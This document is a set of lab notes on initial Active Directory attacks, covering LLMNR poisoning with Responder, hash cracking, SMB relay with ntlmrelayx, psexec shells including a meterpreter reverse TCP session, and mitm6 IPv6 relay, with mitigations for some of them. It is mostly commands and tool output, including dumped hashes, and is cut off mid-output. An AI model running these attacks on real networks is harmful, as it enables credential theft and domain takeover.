


# Attacking AD: Initial Attack Vectors

## LLMNR Poisoning

Link Local Multicast Name Resolution (LLMNR) is used to identify hosts when DNS fails to do so. Previously known as NBT-NS. Its key flaw is that the services utilize a user's username and NTLMv2 hash when responded to appropriately. This is a MitM attack.




## Steps

1. Run responder - It's going to respond to traffic.

```
responder -i (interface) -dwP
```

2. Something/someone attempts to connect to a service



### 3. Obtain hashes

#### 4. Crack the hashes

```
hashcat -m 5600 hashest.txt rockyou.txt
```

## Lab

With your Kali VM and Windows Server/Workstations on.

# Responder

On Kali, run Responder with the interface and we'll use the -dwP(DHCP, WPAD rogue proxy server, and ProxyAuth):

```
(root㉿kali)-[~]
└─# responder --help

[REDACTED]

NBT-NS, LLMNR & MDNS Responder 3.1.3.0

To support this project:
Patreon → https://www.patreon.com/PythonResponder
Paypal → https://paypal.me/PythonResponder

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

Usage: responder -I eth0 -w -d
or:
responder -I eth0 -wd

Options:
  --version          show program's version number and exit
  -h, --help          show this help message and exit
  -A, --analyze      Analyze mode. This option allows you to see NBT-NS,
                     BROWSER, LLMNR requests without responding.
  -I eth0, --interface=eth0
                     Network interface to use, you can use 'ALL' as a
                     wildcard for all interfaces
  -i 10.0.0.21, --ip=10.0.0.21
                     Local IP to use (only for OSX)
  -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
                     Poison all requests with another IPv6 address than
                     Responder's one.
  -e 10.0.0.22, --externalip=10.0.0.22
                     Poison all requests with another IP address than
                     Responder's one.
  -b, --basic         Return a Basic HTTP authentication. Default: NTLM
  -d, --DHCP          Enable answers for DHCP broadcast requests. This
                     option will inject a WPAD server in the DHCP response.
                     Default: False
  -D, --DHCP-DNS     This option will inject a DNS server in the DHCP
                     response, otherwise a WPAD server will be added.
                     Default: False
  -w, --wpad          Start the WPAD rogue proxy server. Default value is
                     False
  -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
                     Upstream HTTP proxy used by the rogue WPAD Proxy for
                     outgoing requests (format: host:port)
  -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
                     retrieval. This may cause a login prompt. Default:
                     False
  -P, --ProxyAuth    Force NTLM (transparently)/Basic (prompt)
                     authentication for the proxy. WPAD doesn't need to be
                     ON. This option is highly effective. Default: False
  --lm               Force LM hashing downgrade for Windows XP/2003 and
                     earlier. Default: False
  --disable-ess      Force ESS downgrade. Default: False
  -v, --verbose       Increase verbosity.

(root㉿kali)-[~]
└─#
```

```
responser -I eth0 -dwP
```

```
[root@kali]~# responder -I eth0 -dwP
```



### NBT-NS, LLMNR & MDNS Responder 3.1.3.0

To support this project:

Patreon → <https://www.patreon.com/PythonResponder>

Paypal → <https://paypal.me/PythonResponder>

Author: Laurent Gaffie ([laurent.gaffie@gmail.com](mailto:laurent.gaffie@gmail.com))

To kill this script hit CTRL-C

#### [+] Poisoners:

LLMNR	[ON]
NBT-NS	[ON]
MDNS	[ON]
DNS	[ON]
DHCP	[ON]

#### [+] Servers:

HTTP server	[ON]
HTTPS server	[ON]
WPAD proxy	[ON]
Auth proxy	[ON]
SMB server	[ON]
Kerberos server	[ON]
SQL server	[ON]
FTP server	[ON]
IMAP server	[ON]
POP3 server	[ON]
SMTP server	[ON]
DNS server	[ON]
LDAP server	[ON]
RDP server	[ON]
DCE-RPC server	[ON]
WinRM server	[ON]

#### [+] HTTP Options:

Always serving EXE	[OFF]
Serving EXE	[OFF]
Serving HTML	[OFF]
Upstream Proxy	[OFF]

#### [+] Poisoning Options:

Analyze Mode	[OFF]
Force WPAD auth	[OFF]
Force Basic Auth	[OFF]
Force LM downgrade	[OFF]
Force ESS downgrade	[OFF]

#### [+] Generic Options:

Responder NIC	[eth0]
Responder IP	[172.23.57.66]
Responder IPv6	[fe80::2414:5c16:1790:9d98]
Challenge set	[random]
Don't Respond To Names	['ISATAP']

#### [+] Current Session Variables:


Responder Machine Name	[WIN-CLW7PTMXMOQ]
------------------------	-------------------

```
Responder Domain Name      [9997.LOCAL]
Responder DCE-RPC Port     [45735]

[+] Listening for events ...

[*] [DHCP] Found DHCP server IP: 172.23.48.1, now waiting for incoming requests ...
```

On a workstation, attempt to log in to our Attacking machine



Looking back at Kali, we will see NTLMv2 hashes

# Cracking the obtained hashes

Putting the obtained hashes into a file, then crack them with Hashcat

```
GNU nano 7.2                                     hashes *
Nikon:::GIBSON:ec964692b3789d02:B844484C0D43B19D690229D21470E965:010100000000000008015C5EB
joey:::GIBSON:0675ef6260c80636:0FE891355E60EA5EAC4CA820AF7365F6:010100000000000008015C5EB4
```

```
hashcat -m 5600 hashes /usr/share/wordlists/rockyou.txt
```

```
[root@kali:~]# hashcat -m 5600 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEP, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i9-11900K @ 3.50GHz, 2910/5884 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c


Initializing backend runtime for device #1. Please be patient ... █
```

Cracked!

# LLMNR Poisoning Mitigation


Best defense is to disable LLMNR and NBT-NS if possible.

- To Disable LLMNR: "Turn Off Multicast Name Resolution" under Group Policy Management:
    - Local Computer Policy > Computer Configuration > Policies > Administrative Templates > Network > DNS Client



- To Disable NBT-NS, under Control Panel:

- Network Connections > Network Adapter Properties > TCP/IPv4 Properties > Advanced Tab > WINS tab > Select "Disable NetBIOS over TCP/IP"



If you cannot disable LLMNR/NBT-NS

- Require Network Access Control
- Require strong user passwords

## SMB Relay

Instead of cracking the hashes gathered from Responder, we can relay them to specified machines instead.

**SMB Signing must be disabled or not enforced on the target**, and relayed user creds must be admin on the machine for any value. SMB Signing is not on by default.

There is an nmap script to identify hosts without SMB Signing

```
nmap --script=smb2-security-mode.nse -p 445 (ip(s)/range)
```

```
(kali㉿kali)-[~]
$ nmap --script=smb2-security-mode.nse -p445 10.0.0.25
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-19 13:07 EDT
Nmap scan report for 10.0.0.25
Host is up (0.090s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds

Host script results:
| smb2-security-mode:
|   3:1:1:
|_   Message signing enabled but not required

Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds
```

Responder needs modified as well

under `/etc/responder/Responder.conf`

turn SMB and HTTP off.

Run responder, then run NTLMRelayX

```
ntlmrelayx.py -tf ips.txt -smb2support
```

Need an Event to happen, then on NTLMRelayX, we then see the SAM hashes.

If we add `-i` to the end of NTLMRelayX, it will give us an interactive shell. OR add `-c "command"` to run commands.

## SMB Relay Attack Lab

Scan the DC

```
nmap --script=smb2-security-mode.nse -p 445 -Pn 192.168.126.131
```

```
[root@kali)~]# nmap --script=smb2-security-mode.nse -p 445 192.168.126.131
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-27 10:26 EST
Nmap scan report for 192.168.126.131
Host is up (0.00019s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds
MAC Address: 00:0C:29:9A:B7:24 (VMware)

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
[root@kali)~]#
```

Make the targets file

```
GNU nano 7.2
192.168.126.131
192.168.126.132
192.168.126.133
```

Edit the Responder.conf file

```
GNU nano 7.2
[Responder Core]

; Servers to start
SQL = On
SMB = Off
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
TMAP = On
HTTP = Off
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
```

Run responder

```
responder -I eth0 -dwPv
```



### NBT-NS, LLINR & MDNS Responder 3.1.3.0

To support this project:

Patreon → <https://www.patreon.com/PythonResponder>

Paypal → <https://paypal.me/PythonResponder>

Author: Laurent Gaffie (laurent.gaffie@gmail.com)  
To kill this script hit CTRL-C

#### [+] Poisoners:

LLINR	[ON]
NBT-NS	[ON]
MDNS	[ON]
DNS	[ON]
DHCP	[ON]

#### [+] Servers:

HTTP server	[OFF]
HTTPS server	[ON]
WPAD proxy	[ON]
Auth proxy	[ON]
SMB server	[OFF]
Kerberos server	[ON]
SQL server	[ON]
FTP server	[ON]
IMAP server	[ON]
POP3 server	[ON]
SMTP server	[ON]
DNS server	[ON]
LDAP server	[ON]
RDP server	[ON]
DCE-RPC server	[ON]
WinRM server	[ON]

#### [+] HTTP Options:

Always serving EXE	[OFF]
Serving EXE	[OFF]
Serving HTML	[OFF]
Upstream Proxy	[OFF]

#### [+] Poisoning Options:

Analyze Mode	[OFF]
Force WPAD auth	[OFF]
Force Basic Auth	[OFF]
Force LM downgrade	[OFF]
Force ESS downgrade	[OFF]

#### [+] Generic Options:

Responder NIC	[eth0]
Responder IP	[192.168.126.129]
Responder IPv6	[fe80 :: 2414:5c16:1790:9d98]
Challenge set	[random]
Don't Respond To Names	['ISATAP']

#### [+] Current Session Variables:

Responder Machine Name	[WIN-09MH6A005IP]
Responder Domain Name	[YQHH.LOCAL]

Responder DCE-RPC Port

[46673]

[+] Listening for events ...

[\*] [DHCP] Found DHCP server IP: 192.168.126.254, now waiting for incoming requests ...

Run NTLMRelayX


```
ntlmrelayx.py -tf targets.txt -smb2support
```

```
[root@kali)-[~]
# ntlmrelayx.py -tf targets.txt -smb2support
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
/usr/share/ofsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by
the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
```

Wait for, or make an event happen. Connect to the attacker machine via SMB



## We have hashes!

```
[root@kali)~]# ntlmrelayx.py -tf targets.txt -smb2support
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by
the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Received connection from 192.168.126.132, attacking target smb://192.168.126.133
[*] Authenticating against smb://192.168.126.133 as GIBSON\Nikon SUCCEED
[*] SMBD-Thread-5: Received connection from 192.168.126.132, attacking target smb://192.168.126.132
[-] Authenticating against smb://192.168.126.132 as GIBSON\Nikon FAILED
[*] HTTPD: Received connection from 192.168.126.132, attacking target smb://192.168.126.131
[*] HTTPD: Client requested path: /
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xdf90a169aeb11e6481dddff8ecc2c0910
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cf0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cf0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:63112a136882108f71a031ac8506b92f:::
LocalAdmin:1001:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::
Phreak:1002:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::

[*] Done dumping SAM hashes for host: 192.168.126.133
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
[*] SMBD-Thread-7: Received connection from 192.168.126.132, attacking target smb://192.168.126.133
[*] Authenticating against smb://192.168.126.133 as GIBSON\Nikon SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xdf90a169aeb11e6481dddff8ecc2c0910
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cf0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cf0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:63112a136882108f71a031ac8506b92f:::
LocalAdmin:1001:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::
Phreak:1002:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::

[*] Done dumping SAM hashes for host: 192.168.126.133
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cf0d16ae931b73c59d7e0c089c0:::
:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cf0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:63112a136882108f71a031ac8506b92f:::
LocalAdmin:1001:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::
Phreak:1002:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::
```

## Trying with `-i` for interactive shell

```
[root@kali:~] # ntlmrelayx.py -tf targets.txt -smb2support -i
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/ OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by
the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Received connection from 192.168.126.132, attacking target smb://192.168.126.133
[*] Authenticating against smb://192.168.126.133 as GIBSON\Nikon SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000
[*] SMBD-Thread-5: Received connection from 192.168.126.132, attacking target smb://192.168.126.132
[-] Authenticating against smb://192.168.126.132 as GIBSON\Nikon FAILED
[*] SMBD-Thread-6: Received connection from 192.168.126.132, attacking target smb://192.168.126.131
[-] Signing is required, attack won't work!
[*] Authenticating against smb://192.168.126.131 as GIBSON\Nikon SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11001
whoami
#
```

## Open netcat

```
[root@kali:~] # nc 127.0.0.1 11001
Type help for list of commands
# whoami
** Unknown syntax: whoami
# help

open {host,port=445} - opens a SMB connection against the target host/port
login {domain/username,password} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
kerberos_login {domain/username,password} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS res
olvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
mount {target,path} - creates a mount point from {path} to {target} (admin required)
umount {path} - removes the mount point at {path} without deleting the directory (admin required)
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)

#
```

## SMB Relay Attack Defences

- Enable SMB Signing
  - Pro: Stop attack
  - Con: Causes performance issues with file copies
- Disable NTLM authentication
  - Pro: Stops attack
  - Con: If Kerberos stops working, it defaults to NTLM
- Account Tiering
  - Pro: Limits domain admin to specific tasks
  - Con: Enforcing this policy can be difficult

- Local admin restriction
  - Pro: Can prevent lateral movement
  - Potential increase in helpdesk tickets

## Gaining Shell Access

### Metasploit

We can use Metasploit modules, such as psexec(With a password)

```
use exploit/windows/smb/psexec
```

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name          Current Setting  Required  Description
RHOSTS        192.168.126.131   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT          445             yes       The SMB service port (TCP)
SERVICE_DESCRIPTION    no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME  no        The service display name
SERVICE_NAME     no        The service name
SMBDomain      gibson.local   no        The Windows domain to use for authentication
SMBPass         P@ssw0rd!     no        The password for the specified username
SMBSHARE        $$/ADMIN$     no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser         Nikon          no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):
Name          Current Setting  Required  Description
EXITFUNC      thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST          192.168.126.129  yes       The listen address (an interface may be specified)
LPORT          4444            yes       The listen port

msf6 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 192.168.126.129:4444
[*] 192.168.126.131:445 - Connecting to the server ...
[*] 192.168.126.131:445 - Authenticating to 192.168.126.131:445|gibson.local as user 'Nikon' ...
[*] 192.168.126.131:445 - Selecting PowerShell target
[*] 192.168.126.131:445 - Executing the payload ...
[+] 192.168.126.131:445 - Service start timed out, OK if running a command or non-service executable ...
[*] Sending stage (175686 bytes) to 192.168.126.131
[*] Meterpreter session 1 opened (192.168.126.129:4444 → 192.168.126.131:49760) at 2023-11-28 13:04:49 -0500

meterpreter > shell
Process 524 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.3113]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

To use just a hash instead, use set the smbpass as the SAM hash.

### Psexec.py/wmiexec.py/smbexec.py

We can use psexec.py

```
psexec.py domain/user:'userpassword'@domain-ip
```

```
[root@kali)~] # psexec.py gibson.local/Nikon:'P@ssw0rd!'@192.168.126.131
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.126.131.....
[*] Found writable share ADMIN$ 
[*] Uploading file xRMLhjDs.exe
[*] Opening SVCManager on 192.168.126.131.....
[*] Creating service TKSc on 192.168.126.131.....
[*] Starting service TKSc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3113]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\SYSTEM

C:\Windows\system32>
```

```
psexec.py user@ip -hashes hash
```

## IPv6 Attacks

DNS Takeover attacks via IPv6 using [MiTM6](#)

Run NTLMRelayX

```
ntlmrelayx.py -6 -t ldaps://domain -wh fakewpad.gibson.local -l loot
```

```
[root@kali)~] # ntlmrelayx.py -6 -t ldaps://192.168.126.131 -wh fakewpad.gibson.local -l loot
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by
the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
```

```
mitm6 -d domain
```

```
[root@kali)~] # mitm6 -d gibson.local
/usr/local/lib/python3.11/dist-packages/scapy/layers/ipsec.py:471: CryptographyDeprecationWarning: Blowfish has been deprecated
    cipher=algorithms.Blowfish,
/usr/local/lib/python3.11/dist-packages/scapy/layers/ipsec.py:485: CryptographyDeprecationWarning: CAST5 has been deprecated
    cipher=algorithms.CAST5,
Starting mitm6 using the following configuration:
Primary adapter: eth0 [00:0c:29:bb:93:f6]
IPv4 address: 192.168.126.129
IPv6 address: fe80::2414:5c16:1790:9d98
DNS local search domain: gibson.local
DNS allowlist: gibson.local
```


## When an event happens

```
Sent spoofed reply for wpad.GIBSON.local. to fe80::3c5a:e0d2:f42e:2b64
Sent spoofed reply for wpad.gibson.local. to fe80::3c5a:e0d2:f42e:2b64
Sent spoofed reply for gibson-dc.gibson.local. to fe80::3c5a:e0d2:f42e:2b64
Sent spoofed reply for fakewpad.gibson.local. to fe80::3c5a:e0d2:f42e:2b64
Sent spoofed reply for fakewpad.gibson.local. to fe80::3c5a:e0d2:f42e:2b64
IPv6 address fe80::192:168:126:132 is now assigned to mac=00:0c:29:1f:96:47 host=NIKON-PC.GIBSON.local. ipv4=192.168.126.132
```

## A computer successfully authenticated

```
Enumerating relayed user's privileges. This may take a while on large domains
Dumping domain info for first time
Domain info dumped into lootdir!
HTTPD: Received connection from ::ffff:192.168.126.132, attacking target ldaps://192.168.126.131
HTTPD: Client requested path: geo.prod.do.dsp.mp.microsoft.com:443
HTTPD: Received connection from ::ffff:192.168.126.132, attacking target ldaps://192.168.126.131
HTTPD: Client requested path: geo.prod.do.dsp.mp.microsoft.com:443
HTTPD: Client requested path: geo.prod.do.dsp.mp.microsoft.com:443
Authenticating against ldaps://192.168.126.131 as GIBSON\NIKON-PC$ SUCCEED
Enumerating relayed user's privileges. This may take a while on large domains
HTTPD: Received connection from ::ffff:192.168.126.132, attacking target ldaps://192.168.126.131
HTTPD: Client requested path: geover.prod.do.dsp.mp.microsoft.com:443
```

We can see domain users, groups, account, etc.



### Domain computer accounts

CN	SAM Name	DNS Hostname	Operating System	Service Pack	OS Version	lastLogon	Flags	Created on	SID	description
PHREAK-PC	PHREAK-PC\$	PHREAK-PC.GIBSON.local	Windows 10 Enterprise Evaluation		10.0 (19042)	11/28/23 18:22:10	WORKSTATION_ACCOUNT	11/12/23 11:13:36	1111	
NIKON-PC	NIKON-PC\$	NIKON-PC.GIBSON.local	Windows 10 Enterprise Evaluation		10.0 (19042)	11/28/23 18:13:00	WORKSTATION_ACCOUNT	11/12/23 11:12:57	1110	
GIBSON-DC	GIBSON-DC\$	GIBSON-DC.GIBSON.local	Windows Server 2019 Standard Evaluation		10.0 (17763)	11/28/23 18:22:10	TRUSTED_FOR_DELEGATION, SERVER_TRUST_ACCOUNT	11/12/23 10:35:48	1000	

## Domain users

CN	name	SAM Name	Member of groups	Primary group	Created on	Changed on	lastLogon	Flags	pwdLastSet	SID	description
Burn	Burn	Burn		<a href="#">Domain Users</a>	11/12/23 11:03:43	11/12/23 11:03:43	0	DONT_EXPIRE_PASSWD, NORMAL_ACCOUNT	11/12/23 11:03:43	<a href="#">1109</a>	
Joey	Joey	joey		<a href="#">Domain Users</a>	11/12/23 11:03:19	11/27/23 15:29:05	11/27/23 15:29:05	DONT_EXPIRE_PASSWD, NORMAL_ACCOUNT	11/12/23 11:03:19	<a href="#">1108</a>	
SQL Service	SQL Service	SQLService	<a href="#">Group Policy Creator Owners, Domain Admins, Enterprise Admins, Schema Admins, Administrators</a>	<a href="#">Domain Users</a>	11/12/23 11:01:59	11/12/23 11:06:08	0	DONT_EXPIRE_PASSWD, NORMAL_ACCOUNT	11/12/23 11:01:59	<a href="#">1104</a>	The password is Mypassword123#
Nikon	Nikon	Nikon	<a href="#">Group Policy Creator Owners, Domain Admins, Enterprise Admins, Schema Admins, Administrators</a>	<a href="#">Domain Users</a>	11/12/23 11:00:43	11/27/23 15:36:05	11/28/23 18:14:51	DONT_EXPIRE_PASSWD, NORMAL_ACCOUNT	11/12/23 11:00:43	<a href="#">1103</a>	
krbtgt	krbtgt	krbtgt	<a href="#">Denied RODC Password Replication Group</a>	<a href="#">Domain Users</a>	11/12/23 10:35:48	11/12/23 11:03:52	0	NORMAL_ACCOUNT, ACCOUNT_DISABLED	11/12/23 10:35:48	<a href="#">502</a>	Key Distribution Center Service Account
Guest	Guest	Guest	<a href="#">Guests</a>	<a href="#">Domain Guests</a>	11/12/23 10:35:11	11/12/23 10:35:11	0	DONT_EXPIRE_PASSWD, PASSWD_NOTREQD, NORMAL_ACCOUNT, ACCOUNT_DISABLED	0	<a href="#">501</a>	Built-in account for guest access to the computer/domain
Administrator	Administrator	Administrator	<a href="#">Group Policy Creator Owners, Domain Admins, Enterprise Admins, Schema Admins, Administrators</a>	<a href="#">Domain Users</a>	11/12/23 10:35:11	11/27/23 15:26:14	11/28/23 18:02:33	DONT_EXPIRE_PASSWD, NORMAL_ACCOUNT	06/30/22 02:28:16	<a href="#">500</a>	Built-in account for administering the computer/domain

## Administrators

CN	name	SAM Name	Created on	Changed on	lastLogon	Flags	pwdLastSet	SID	description
SQL Service	SQL Service	SQLService	2023-11-12 11:01:59+00:00	2023-11-12 11:06:08+00:00	1601-01-01 00:00:00+00:00	DONT_EXPIRE_PASSWD, NORMAL_ACCOUNT	2023-11-12 11:01:59.170837+00:00	<a href="#">1104</a>	The password is Mypassword123#
Nikon	Nikon	Nikon	2023-11-12 11:00:43+00:00	2023-11-27 15:36:05+00:00	2023-11-28 18:14:51.816111+00:00	DONT_EXPIRE_PASSWD, NORMAL_ACCOUNT	2023-11-12 11:00:43.092739+00:00	<a href="#">1103</a>	
Administrator	Administrator	Administrator	2023-11-12 10:35:11+00:00	2023-11-27 15:26:14+00:00	2023-11-28 18:02:33.342146+00:00	DONT_EXPIRE_PASSWD, NORMAL_ACCOUNT	2022-06-30 02:28:16.139359+00:00	<a href="#">500</a>	Built-in account for administering the computer/domain
Group: <a href="#">Domain Admins</a>	Domain Admins	Domain Admins	2023-11-12 10:35:48+00:00	2023-11-12 11:03:52+00:00				<a href="#">512</a>	Designated administrators of the domain
Group: <a href="#">Enterprise Admins</a>	Enterprise Admins	Enterprise Admins	2023-11-12 10:35:48+00:00	2023-11-12 11:03:52+00:00				<a href="#">519</a>	Designated administrators of the enterprise

## Domain Guests

CN	name	SAM Name	Created on	Changed on	lastLogon	Flags	pwdLastSet	SID	description
Guest	Guest	Guest	2023-11-12 10:35:11+00:00	2023-11-12 10:35:11+00:00	1601-01-01 00:00:00+00:00	DONT_EXPIRE_PASSWD, PASSWD_NOTREQD, NORMAL_ACCOUNT, ACCOUNT_DISABLED	1601-01-01 00:00:00+00:00	<a href="#">501</a>	Built-in account for guest access to the computer/domain

## Domain Admins

CN	name	SAM Name	Created on	Changed on	lastLogon	Flags	pwdLastSet	SID	description
SQL Service	SQL Service	SQLService	2023-11-12 11:01:59+00:00	2023-11-12 11:06:08+00:00	1601-01-01 00:00:00+00:00	DONT_EXPIRE_PASSWD, NORMAL_ACCOUNT	2023-11-12 11:01:59.170837+00:00	<a href="#">1104</a>	The password is Mypassword123#
Nikon	Nikon	Nikon	2023-11-12 11:00:43+00:00	2023-11-27 15:36:05+00:00	2023-11-28 18:14:51.816111+00:00	DONT_EXPIRE_PASSWD, NORMAL_ACCOUNT	2023-11-12 11:00:43.092739+00:00	<a href="#">1103</a>	
Administrator	Administrator	Administrator	2023-11-12 10:35:11+00:00	2023-11-27 15:26:14+00:00	2023-11-28 18:02:33.342146+00:00	DONT_EXPIRE_PASSWD, NORMAL_ACCOUNT	2022-06-30 02:28:16.139359+00:00	<a href="#">500</a>	Built-in account for administering the computer/domain

If an Admin logs in, we can see it, and it will create a user for us

```
ACE
AceType: {0}
AceFlags: {18}
AceSize: {36}
AceLen: {32}

Ace:{

    Mask:{ 
        Mask: {983551}
    }

    Sid:{ 
        Revision: {1}
        SubAuthorityCount: {5}

        IdentifierAuthority:{ 
            Value: {'\x00\x00\x00\x00\x00\x05'}
        }
        SubLen: {20}
